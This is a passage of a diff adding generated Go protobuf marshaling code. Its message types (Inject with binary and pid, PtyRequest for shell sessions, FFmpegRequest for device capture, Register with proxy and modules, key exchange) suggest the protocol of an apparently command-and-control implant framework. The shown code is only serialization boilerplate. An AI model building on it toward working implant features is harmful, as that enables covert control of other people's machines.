+ switch key { + default: + s.Skip() // ignore unknown field + case "bin": + s.AddField("bin") + x.Bin = s.ReadBytes() + case "pid": + s.AddField("pid") + x.Pid = s.ReadUint32() + } + }) +} + +// UnmarshalJSON unmarshals the Inject from JSON. +func (x *Inject) UnmarshalJSON(b []byte) error { + return json.DefaultUnmarshalerConfig.Unmarshal(b, x) +} + +// MarshalProtoJSON marshals the Pipe message to JSON. +func (x *Pipe) MarshalProtoJSON(s *json.MarshalState) { + if x == nil { + s.WriteNil() + return + } + s.WriteObjectStart() + var wroteField bool + if x.Name != "" || s.HasField("name") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("name") + s.WriteString(x.Name) + } + if x.Target != "" || s.HasField("target") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("target") + s.WriteString(x.Target) + } + if len(x.Data) > 0 || s.HasField("data") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("data") + s.WriteBytes(x.Data) + } + s.WriteObjectEnd() +} + +// MarshalJSON marshals the Pipe to JSON. +func (x *Pipe) MarshalJSON() ([]byte, error) { + return json.DefaultMarshalerConfig.Marshal(x) +} + +// UnmarshalProtoJSON unmarshals the Pipe message from JSON. +func (x *Pipe) UnmarshalProtoJSON(s *json.UnmarshalState) { + if s.ReadNil() { + return + } + s.ReadObject(func(key string) { + switch key { + default: + s.Skip() // ignore unknown field + case "name": + s.AddField("name") + x.Name = s.ReadString() + case "target": + s.AddField("target") + x.Target = s.ReadString() + case "data": + s.AddField("data") + x.Data = s.ReadBytes() + } + }) +} + +// UnmarshalJSON unmarshals the Pipe from JSON. +func (x *Pipe) UnmarshalJSON(b []byte) error { + return json.DefaultUnmarshalerConfig.Unmarshal(b, x) +} + +// MarshalProtoJSON marshals the PipeRequest message to JSON. +func (x *PipeRequest) MarshalProtoJSON(s *json.MarshalState) { + if x == nil { + s.WriteNil() + return + } + s.WriteObjectStart() + var wroteField bool + if x.Type != "" || s.HasField("type") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("type") + s.WriteString(x.Type) + } + if x.Pipe != nil || s.HasField("pipe") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("pipe") + x.Pipe.MarshalProtoJSON(s.WithField("pipe")) + } + s.WriteObjectEnd() +} + +// MarshalJSON marshals the PipeRequest to JSON. +func (x *PipeRequest) MarshalJSON() ([]byte, error) { + return json.DefaultMarshalerConfig.Marshal(x) +} + +// UnmarshalProtoJSON unmarshals the PipeRequest message from JSON. +func (x *PipeRequest) UnmarshalProtoJSON(s *json.UnmarshalState) { + if s.ReadNil() { + return + } + s.ReadObject(func(key string) { + switch key { + default: + s.Skip() // ignore unknown field + case "type": + s.AddField("type") + x.Type = s.ReadString() + case "pipe": + if s.ReadNil() { + x.Pipe = nil + return + } + x.Pipe = &Pipe{} + x.Pipe.UnmarshalProtoJSON(s.WithField("pipe", true)) + } + }) +} + +// UnmarshalJSON unmarshals the PipeRequest from JSON. +func (x *PipeRequest) UnmarshalJSON(b []byte) error { + return json.DefaultUnmarshalerConfig.Unmarshal(b, x) +} + +// MarshalProtoJSON marshals the Switch message to JSON. +func (x *Switch) MarshalProtoJSON(s *json.MarshalState) { + if x == nil { + s.WriteNil() + return + } + s.WriteObjectStart() + var wroteField bool + if len(x.Urls) > 0 || s.HasField("urls") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("urls") + s.WriteStringArray(x.Urls) + } + s.WriteObjectEnd() +} + +// MarshalJSON marshals the Switch to JSON. +func (x *Switch) MarshalJSON() ([]byte, error) { + return json.DefaultMarshalerConfig.Marshal(x) +} + +// UnmarshalProtoJSON unmarshals the Switch message from JSON. +func (x *Switch) UnmarshalProtoJSON(s *json.UnmarshalState) { + if s.ReadNil() { + return + } + s.ReadObject(func(key string) { + switch key { + default: + s.Skip() // ignore unknown field + case "urls": + s.AddField("urls") + if s.ReadNil() { + x.Urls = nil + return + } + x.Urls = s.ReadStringArray() + } + }) +} + +// UnmarshalJSON unmarshals the Switch from JSON. +func (x *Switch) UnmarshalJSON(b []byte) error { + return json.DefaultUnmarshalerConfig.Unmarshal(b, x) +} + +// MarshalProtoJSON marshals the TaskCtrl message to JSON. +func (x *TaskCtrl) MarshalProtoJSON(s *json.MarshalState) { + if x == nil { + s.WriteNil() + return + } + s.WriteObjectStart() + var wroteField bool + if x.TaskId != 0 || s.HasField("taskId") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("taskId") + s.WriteUint32(x.TaskId) + } + if x.Op != "" || s.HasField("op") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("op") + s.WriteString(x.Op) + } + s.WriteObjectEnd() +} + +// MarshalJSON marshals the TaskCtrl to JSON. +func (x *TaskCtrl) MarshalJSON() ([]byte, error) { + return json.DefaultMarshalerConfig.Marshal(x) +} + +// UnmarshalProtoJSON unmarshals the TaskCtrl message from JSON. +func (x *TaskCtrl) UnmarshalProtoJSON(s *json.UnmarshalState) { + if s.ReadNil() { + return + } + s.ReadObject(func(key string) { + switch key { + default: + s.Skip() // ignore unknown field + case "task_id", "taskId": + s.AddField("task_id") + x.TaskId = s.ReadUint32() + case "op": + s.AddField("op") + x.Op = s.ReadString() + } + }) +} + +// UnmarshalJSON unmarshals the TaskCtrl from JSON. +func (x *TaskCtrl) UnmarshalJSON(b []byte) error { + return json.DefaultUnmarshalerConfig.Unmarshal(b, x) +} + +// MarshalProtoJSON marshals the TaskInfo message to JSON. +func (x *TaskInfo) MarshalProtoJSON(s *json.MarshalState) { + if x == nil { + s.WriteNil() + return + } + s.WriteObjectStart() + var wroteField bool + if x.TaskId != 0 || s.HasField("taskId") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("taskId") + s.WriteUint32(x.TaskId) + } + if x.Last != 0 || s.HasField("last") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("last") + s.WriteUint64(x.Last) + } + if x.RecvCount != 0 || s.HasField("recvCount") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("recvCount") + s.WriteUint32(x.RecvCount) + } + if x.SendCount != 0 || s.HasField("sendCount") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("sendCount") + s.WriteUint32(x.SendCount) + } + s.WriteObjectEnd() +} + +// MarshalJSON marshals the TaskInfo to JSON. +func (x *TaskInfo) MarshalJSON() ([]byte, error) { + return json.DefaultMarshalerConfig.Marshal(x) +} + +// UnmarshalProtoJSON unmarshals the TaskInfo message from JSON. +func (x *TaskInfo) UnmarshalProtoJSON(s *json.UnmarshalState) { + if s.ReadNil() { + return + } + s.ReadObject(func(key string) { + switch key { + default: + s.Skip() // ignore unknown field + case "task_id", "taskId": + s.AddField("task_id") + x.TaskId = s.ReadUint32() + case "last": + s.AddField("last") + x.Last = s.ReadUint64() + case "recv_count", "recvCount": + s.AddField("recv_count") + x.RecvCount = s.ReadUint32() + case "send_count", "sendCount": + s.AddField("send_count") + x.SendCount = s.ReadUint32() + } + }) +} + +// UnmarshalJSON unmarshals the TaskInfo from JSON. +func (x *TaskInfo) UnmarshalJSON(b []byte) error { + return json.DefaultUnmarshalerConfig.Unmarshal(b, x) +} + +// MarshalProtoJSON marshals the TaskListResponse message to JSON. +func (x *TaskListResponse) MarshalProtoJSON(s *json.MarshalState) { + if x == nil { + s.WriteNil() + return + } + s.WriteObjectStart() + var wroteField bool + if len(x.Tasks) > 0 || s.HasField("tasks") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("tasks") + s.WriteArrayStart() + var wroteElement bool + for _, element := range x.Tasks { + s.WriteMoreIf(&wroteElement) + element.MarshalProtoJSON(s.WithField("tasks")) + } + s.WriteArrayEnd() + } + s.WriteObjectEnd() +} + +// MarshalJSON marshals the TaskListResponse to JSON. +func (x *TaskListResponse) MarshalJSON() ([]byte, error) { + return json.DefaultMarshalerConfig.Marshal(x) +} + +// UnmarshalProtoJSON unmarshals the TaskListResponse message from JSON. +func (x *TaskListResponse) UnmarshalProtoJSON(s *json.UnmarshalState) { + if s.ReadNil() { + return + } + s.ReadObject(func(key string) { + switch key { + default: + s.Skip() // ignore unknown field + case "tasks": + s.AddField("tasks") + if s.ReadNil() { + x.Tasks = nil + return + } + s.ReadArray(func() { + if s.ReadNil() { + x.Tasks = append(x.Tasks, nil) + return + } + v := &TaskInfo{} + v.UnmarshalProtoJSON(s.WithField("tasks", false)) + if s.Err() != nil { + return + } + x.Tasks = append(x.Tasks, v) + }) + } + }) +} + +// UnmarshalJSON unmarshals the TaskListResponse from JSON. +func (x *TaskListResponse) UnmarshalJSON(b []byte) error { + return json.DefaultUnmarshalerConfig.Unmarshal(b, x) +} + +// MarshalProtoJSON marshals the FFmpegRequest message to JSON. +func (x *FFmpegRequest) MarshalProtoJSON(s *json.MarshalState) { + if x == nil { + s.WriteNil() + return + } + s.WriteObjectStart() + var wroteField bool + if x.Action != "" || s.HasField("action") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("action") + s.WriteString(x.Action) + } + if x.DeviceName != "" || s.HasField("deviceName") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("deviceName") + s.WriteString(x.DeviceName) + } + if x.OutputFormat != "" || s.HasField("outputFormat") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("outputFormat") + s.WriteString(x.OutputFormat) + } + if x.OutputPath != "" || s.HasField("outputPath") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("outputPath") + s.WriteString(x.OutputPath) + } + if x.Time != "" || s.HasField("time") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("time") + s.WriteString(x.Time) + } + s.WriteObjectEnd() +} + +// MarshalJSON marshals the FFmpegRequest to JSON. +func (x *FFmpegRequest) MarshalJSON() ([]byte, error) { + return json.DefaultMarshalerConfig.Marshal(x) +} + +// UnmarshalProtoJSON unmarshals the FFmpegRequest message from JSON. +func (x *FFmpegRequest) UnmarshalProtoJSON(s *json.UnmarshalState) { + if s.ReadNil() { + return + } + s.ReadObject(func(key string) { + switch key { + default: + s.Skip() // ignore unknown field + case "action": + s.AddField("action") + x.Action = s.ReadString() + case "device_name", "deviceName": + s.AddField("device_name") + x.DeviceName = s.ReadString() + case "output_format", "outputFormat": + s.AddField("output_format") + x.OutputFormat = s.ReadString() + case "output_path", "outputPath": + s.AddField("output_path") + x.OutputPath = s.ReadString() + case "time": + s.AddField("time") + x.Time = s.ReadString() + } + }) +} + +// UnmarshalJSON unmarshals the FFmpegRequest from JSON. +func (x *FFmpegRequest) UnmarshalJSON(b []byte) error { + return json.DefaultUnmarshalerConfig.Unmarshal(b, x) +} + +// MarshalProtoJSON marshals the PtyRequest_ParamsEntry message to JSON. +func (x *PtyRequest_ParamsEntry) MarshalProtoJSON(s *json.MarshalState) { + if x == nil { + s.WriteNil() + return + } + s.WriteObjectStart() + var wroteField bool + if x.Key != "" || s.HasField("key") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("key") + s.WriteString(x.Key) + } + if x.Value != "" || s.HasField("value") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("value") + s.WriteString(x.Value) + } + s.WriteObjectEnd() +} + +// MarshalJSON marshals the PtyRequest_ParamsEntry to JSON. +func (x *PtyRequest_ParamsEntry) MarshalJSON() ([]byte, error) { + return json.DefaultMarshalerConfig.Marshal(x) +} + +// UnmarshalProtoJSON unmarshals the PtyRequest_ParamsEntry message from JSON. +func (x *PtyRequest_ParamsEntry) UnmarshalProtoJSON(s *json.UnmarshalState) { + if s.ReadNil() { + return + } + s.ReadObject(func(key string) { + switch key { + default: + s.Skip() // ignore unknown field + case "key": + s.AddField("key") + x.Key = s.ReadString() + case "value": + s.AddField("value") + x.Value = s.ReadString() + } + }) +} + +// UnmarshalJSON unmarshals the PtyRequest_ParamsEntry from JSON. +func (x *PtyRequest_ParamsEntry) UnmarshalJSON(b []byte) error { + return json.DefaultUnmarshalerConfig.Unmarshal(b, x) +} + +// MarshalProtoJSON marshals the PtyRequest message to JSON. +func (x *PtyRequest) MarshalProtoJSON(s *json.MarshalState) { + if x == nil { + s.WriteNil() + return + } + s.WriteObjectStart() + var wroteField bool + if x.Type != "" || s.HasField("type") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("type") + s.WriteString(x.Type) + } + if x.SessionId != "" || s.HasField("sessionId") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("sessionId") + s.WriteString(x.SessionId) + } + if x.Shell != "" || s.HasField("shell") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("shell") + s.WriteString(x.Shell) + } + if x.Cols != 0 || s.HasField("cols") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("cols") + s.WriteUint32(x.Cols) + } + if x.Rows != 0 || s.HasField("rows") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("rows") + s.WriteUint32(x.Rows) + } + if len(x.InputData) > 0 || s.HasField("inputData") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("inputData") + s.WriteBytes(x.InputData) + } + if x.InputText != "" || s.HasField("inputText") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("inputText") + s.WriteString(x.InputText) + } + if x.Params != nil || s.HasField("params") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("params") + s.WriteObjectStart() + var wroteElement bool + for k, v := range x.Params { + s.WriteMoreIf(&wroteElement) + s.WriteObjectStringField(k) + s.WriteString(v) + } + s.WriteObjectEnd() + } + s.WriteObjectEnd() +} + +// MarshalJSON marshals the PtyRequest to JSON. +func (x *PtyRequest) MarshalJSON() ([]byte, error) { + return json.DefaultMarshalerConfig.Marshal(x) +} + +// UnmarshalProtoJSON unmarshals the PtyRequest message from JSON. +func (x *PtyRequest) UnmarshalProtoJSON(s *json.UnmarshalState) { + if s.ReadNil() { + return + } + s.ReadObject(func(key string) { + switch key { + default: + s.Skip() // ignore unknown field + case "type": + s.AddField("type") + x.Type = s.ReadString() + case "session_id", "sessionId": + s.AddField("session_id") + x.SessionId = s.ReadString() + case "shell": + s.AddField("shell") + x.Shell = s.ReadString() + case "cols": + s.AddField("cols") + x.Cols = s.ReadUint32() + case "rows": + s.AddField("rows") + x.Rows = s.ReadUint32() + case "input_data", "inputData": + s.AddField("input_data") + x.InputData = s.ReadBytes() + case "input_text", "inputText": + s.AddField("input_text") + x.InputText = s.ReadString() + case "params": + s.AddField("params") + if s.ReadNil() { + x.Params = nil + return + } + x.Params = make(map[string]string) + s.ReadStringMap(func(key string) { + x.Params[key] = s.ReadString() + }) + } + }) +} + +// UnmarshalJSON unmarshals the PtyRequest from JSON. +func (x *PtyRequest) UnmarshalJSON(b []byte) error { + return json.DefaultUnmarshalerConfig.Unmarshal(b, x) +} + +// MarshalProtoJSON marshals the PtyResponse_MetadataEntry message to JSON. +func (x *PtyResponse_MetadataEntry) MarshalProtoJSON(s *json.MarshalState) { + if x == nil { + s.WriteNil() + return + } + s.WriteObjectStart() + var wroteField bool + if x.Key != "" || s.HasField("key") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("key") + s.WriteString(x.Key) + } + if x.Value != "" || s.HasField("value") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("value") + s.WriteString(x.Value) + } + s.WriteObjectEnd() +} + +// MarshalJSON marshals the PtyResponse_MetadataEntry to JSON. +func (x *PtyResponse_MetadataEntry) MarshalJSON() ([]byte, error) { + return json.DefaultMarshalerConfig.Marshal(x) +} + +// UnmarshalProtoJSON unmarshals the PtyResponse_MetadataEntry message from JSON. +func (x *PtyResponse_MetadataEntry) UnmarshalProtoJSON(s *json.UnmarshalState) { + if s.ReadNil() { + return + } + s.ReadObject(func(key string) { + switch key { + default: + s.Skip() // ignore unknown field + case "key": + s.AddField("key") + x.Key = s.ReadString() + case "value": + s.AddField("value") + x.Value = s.ReadString() + } + }) +} + +// UnmarshalJSON unmarshals the PtyResponse_MetadataEntry from JSON. +func (x *PtyResponse_MetadataEntry) UnmarshalJSON(b []byte) error { + return json.DefaultUnmarshalerConfig.Unmarshal(b, x) +} + +// MarshalProtoJSON marshals the PtyResponse message to JSON. +func (x *PtyResponse) MarshalProtoJSON(s *json.MarshalState) { + if x == nil { + s.WriteNil() + return + } + s.WriteObjectStart() + var wroteField bool + if x.SessionId != "" || s.HasField("sessionId") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("sessionId") + s.WriteString(x.SessionId) + } + if len(x.OutputData) > 0 || s.HasField("outputData") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("outputData") + s.WriteBytes(x.OutputData) + } + if x.OutputText != "" || s.HasField("outputText") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("outputText") + s.WriteString(x.OutputText) + } + if x.Error != "" || s.HasField("error") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("error") + s.WriteString(x.Error) + } + if x.SessionActive || s.HasField("sessionActive") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("sessionActive") + s.WriteBool(x.SessionActive) + } + if len(x.ActiveSessions) > 0 || s.HasField("activeSessions") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("activeSessions") + s.WriteStringArray(x.ActiveSessions) + } + if x.Metadata != nil || s.HasField("metadata") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("metadata") + s.WriteObjectStart() + var wroteElement bool + for k, v := range x.Metadata { + s.WriteMoreIf(&wroteElement) + s.WriteObjectStringField(k) + s.WriteString(v) + } + s.WriteObjectEnd() + } + s.WriteObjectEnd() +} + +// MarshalJSON marshals the PtyResponse to JSON. +func (x *PtyResponse) MarshalJSON() ([]byte, error) { + return json.DefaultMarshalerConfig.Marshal(x) +} + +// UnmarshalProtoJSON unmarshals the PtyResponse message from JSON. +func (x *PtyResponse) UnmarshalProtoJSON(s *json.UnmarshalState) { + if s.ReadNil() { + return + } + s.ReadObject(func(key string) { + switch key { + default: + s.Skip() // ignore unknown field + case "session_id", "sessionId": + s.AddField("session_id") + x.SessionId = s.ReadString() + case "output_data", "outputData": + s.AddField("output_data") + x.OutputData = s.ReadBytes() + case "output_text", "outputText": + s.AddField("output_text") + x.OutputText = s.ReadString() + case "error": + s.AddField("error") + x.Error = s.ReadString() + case "session_active", "sessionActive": + s.AddField("session_active") + x.SessionActive = s.ReadBool() + case "active_sessions", "activeSessions": + s.AddField("active_sessions") + if s.ReadNil() { + x.ActiveSessions = nil + return + } + x.ActiveSessions = s.ReadStringArray() + case "metadata": + s.AddField("metadata") + if s.ReadNil() { + x.Metadata = nil + return + } + x.Metadata = make(map[string]string) + s.ReadStringMap(func(key string) { + x.Metadata[key] = s.ReadString() + }) + } + }) +} + +// UnmarshalJSON unmarshals the PtyResponse from JSON. +func (x *PtyResponse) UnmarshalJSON(b []byte) error { + return json.DefaultUnmarshalerConfig.Unmarshal(b, x) +} + +// MarshalProtoJSON marshals the CommonBody message to JSON. +func (x *CommonBody) MarshalProtoJSON(s *json.MarshalState) { + if x == nil { + s.WriteNil() + return + } + s.WriteObjectStart() + var wroteField bool + if x.Name != "" || s.HasField("name") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("name") + s.WriteString(x.Name) + } + if len(x.U32Array) > 0 || s.HasField("u32Array") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("u32Array") + s.WriteUint32Array(x.U32Array) + } + if len(x.U64Array) > 0 || s.HasField("u64Array") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("u64Array") + s.WriteUint64Array(x.U64Array) + } + if len(x.BoolArray) > 0 || s.HasField("boolArray") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("boolArray") + s.WriteBoolArray(x.BoolArray) + } + if len(x.StringArray) > 0 || s.HasField("stringArray") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("stringArray") + s.WriteStringArray(x.StringArray) + } + if len(x.BytesArray) > 0 || s.HasField("bytesArray") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("bytesArray") + s.WriteBytesArray(x.BytesArray) + } + s.WriteObjectEnd() +} + +// MarshalJSON marshals the CommonBody to JSON. +func (x *CommonBody) MarshalJSON() ([]byte, error) { + return json.DefaultMarshalerConfig.Marshal(x) +} + +// UnmarshalProtoJSON unmarshals the CommonBody message from JSON. +func (x *CommonBody) UnmarshalProtoJSON(s *json.UnmarshalState) { + if s.ReadNil() { + return + } + s.ReadObject(func(key string) { + switch key { + default: + s.Skip() // ignore unknown field + case "name": + s.AddField("name") + x.Name = s.ReadString() + case "u32_array", "u32Array": + s.AddField("u32_array") + if s.ReadNil() { + x.U32Array = nil + return + } + x.U32Array = s.ReadUint32Array() + case "u64_array", "u64Array": + s.AddField("u64_array") + if s.ReadNil() { + x.U64Array = nil + return + } + x.U64Array = s.ReadUint64Array() + case "bool_array", "boolArray": + s.AddField("bool_array") + if s.ReadNil() { + x.BoolArray = nil + return + } + x.BoolArray = s.ReadBoolArray() + case "string_array", "stringArray": + s.AddField("string_array") + if s.ReadNil() { + x.StringArray = nil + return + } + x.StringArray = s.ReadStringArray() + case "bytes_array", "bytesArray": + s.AddField("bytes_array") + if s.ReadNil() { + x.BytesArray = nil + return + } + x.BytesArray = s.ReadBytesArray() + } + }) +} + +// UnmarshalJSON unmarshals the CommonBody from JSON. +func (x *CommonBody) UnmarshalJSON(b []byte) error { + return json.DefaultUnmarshalerConfig.Unmarshal(b, x) +} + +func (m *Ping) MarshalVT() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVT(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *Ping) MarshalToVT(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVT(dAtA[:size]) +} + +func (m *Ping) MarshalToSizedBufferVT(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if m.Nonce != 0 { + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(m.Nonce)) + i-- + dAtA[i] = 0x8 + } + return len(dAtA) - i, nil +} + +func (m *Register) MarshalVT() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVT(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *Register) MarshalToVT(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVT(dAtA[:size]) +} + +func (m *Register) MarshalToSizedBufferVT(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if m.Secure != nil { + size, err := m.Secure.MarshalToSizedBufferVT(dAtA[:i]) + if err != nil { + return 0, err + } + i -= size + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(size)) + i-- + dAtA[i] = 0x62 + } + if m.Sysinfo != nil { + size, err := m.Sysinfo.MarshalToSizedBufferVT(dAtA[:i]) + if err != nil { + return 0, err + } + i -= size + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(size)) + i-- + dAtA[i] = 0x5a + } + if m.Timer != nil { + size, err := m.Timer.MarshalToSizedBufferVT(dAtA[:i]) + if err != nil { + return 0, err + } + i -= size + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(size)) + i-- + dAtA[i] = 0x2a + } + if len(m.Addons) > 0 { + for iNdEx := len(m.Addons) - 1; iNdEx >= 0; iNdEx-- { + size, err := m.Addons[iNdEx].MarshalToSizedBufferVT(dAtA[:i]) + if err != nil { + return 0, err + } + i -= size + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(size)) + i-- + dAtA[i] = 0x22 + } + } + if len(m.Module) > 0 { + for iNdEx := len(m.Module) - 1; iNdEx >= 0; iNdEx-- { + i -= len(m.Module[iNdEx]) + copy(dAtA[i:], m.Module[iNdEx]) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Module[iNdEx]))) + i-- + dAtA[i] = 0x1a + } + } + if len(m.Proxy) > 0 { + i -= len(m.Proxy) + copy(dAtA[i:], m.Proxy) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Proxy))) + i-- + dAtA[i] = 0x12 + } + if len(m.Name) > 0 { + i -= len(m.Name) + copy(dAtA[i:], m.Name) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Name))) + i-- + dAtA[i] = 0xa + } + return len(dAtA) - i, nil +} + +func (m *Secure) MarshalVT() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVT(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *Secure) MarshalToVT(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVT(dAtA[:size]) +} + +func (m *Secure) MarshalToSizedBufferVT(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if len(m.PublicKey) > 0 { + i -= len(m.PublicKey) + copy(dAtA[i:], m.PublicKey) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.PublicKey))) + i-- + dAtA[i] = 0x22 + } + if len(m.Type) > 0 { + i -= len(m.Type) + copy(dAtA[i:], m.Type) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Type))) + i-- + dAtA[i] = 0x1a + } + if len(m.Key) > 0 { + i -= len(m.Key) + copy(dAtA[i:], m.Key) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Key))) + i-- + dAtA[i] = 0x12 + } + if m.Enable { + i-- + if m.Enable { + dAtA[i] = 1 + } else { + dAtA[i] = 0 + } + i-- + dAtA[i] = 0x8 + } + return len(dAtA) - i, nil +} + +func (m *KeyExchangeRequest) MarshalVT() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVT(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *KeyExchangeRequest) MarshalToVT(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVT(dAtA[:size]) +} + +func (m *KeyExchangeRequest) MarshalToSizedBufferVT(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if len(m.Nonce) > 0 { + i -= len(m.Nonce) + copy(dAtA[i:], m.Nonce) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Nonce))) + i-- + dAtA[i] = 0x22 + } + if m.Timestamp != 0 { + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(m.Timestamp)) + i-- + dAtA[i] = 0x18 + } + if len(m.Signature) > 0 { + i -= len(m.Signature) + copy(dAtA[i:], m.Signature) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Signature))) + i-- + dAtA[i] = 0x12 + } + if len(m.PublicKey) > 0 { + i -= len(m.PublicKey) + copy(dAtA[i:], m.PublicKey) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.PublicKey))) + i-- + dAtA[i] = 0xa + } + return len(dAtA) - i, nil +} + +func (m *KeyExchangeResponse) MarshalVT() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVT(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *KeyExchangeResponse) MarshalToVT(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVT(dAtA[:size]) +} + +func (m *KeyExchangeResponse) MarshalToSizedBufferVT(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if len(m.PublicKey) > 0 { + i -= len(m.PublicKey) + copy(dAtA[i:], m.PublicKey) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.PublicKey))) + i-- + dAtA[i] = 0xa + } + return len(dAtA) - i, nil +} + +func (m *Init) MarshalVT() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVT(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *Init) MarshalToVT(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVT(dAtA[:size]) +} + +func (m *Init) MarshalToSizedBufferVT(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if len(m.Data) > 0 { + i -= len(m.Data) + copy(dAtA[i:], m.Data) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Data))) + i-- + dAtA[i] = 0xa + } + return len(dAtA) - i, nil +} + +func (m *SysInfo) MarshalVT() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVT(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *SysInfo) MarshalToVT(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVT(dAtA[:size]) 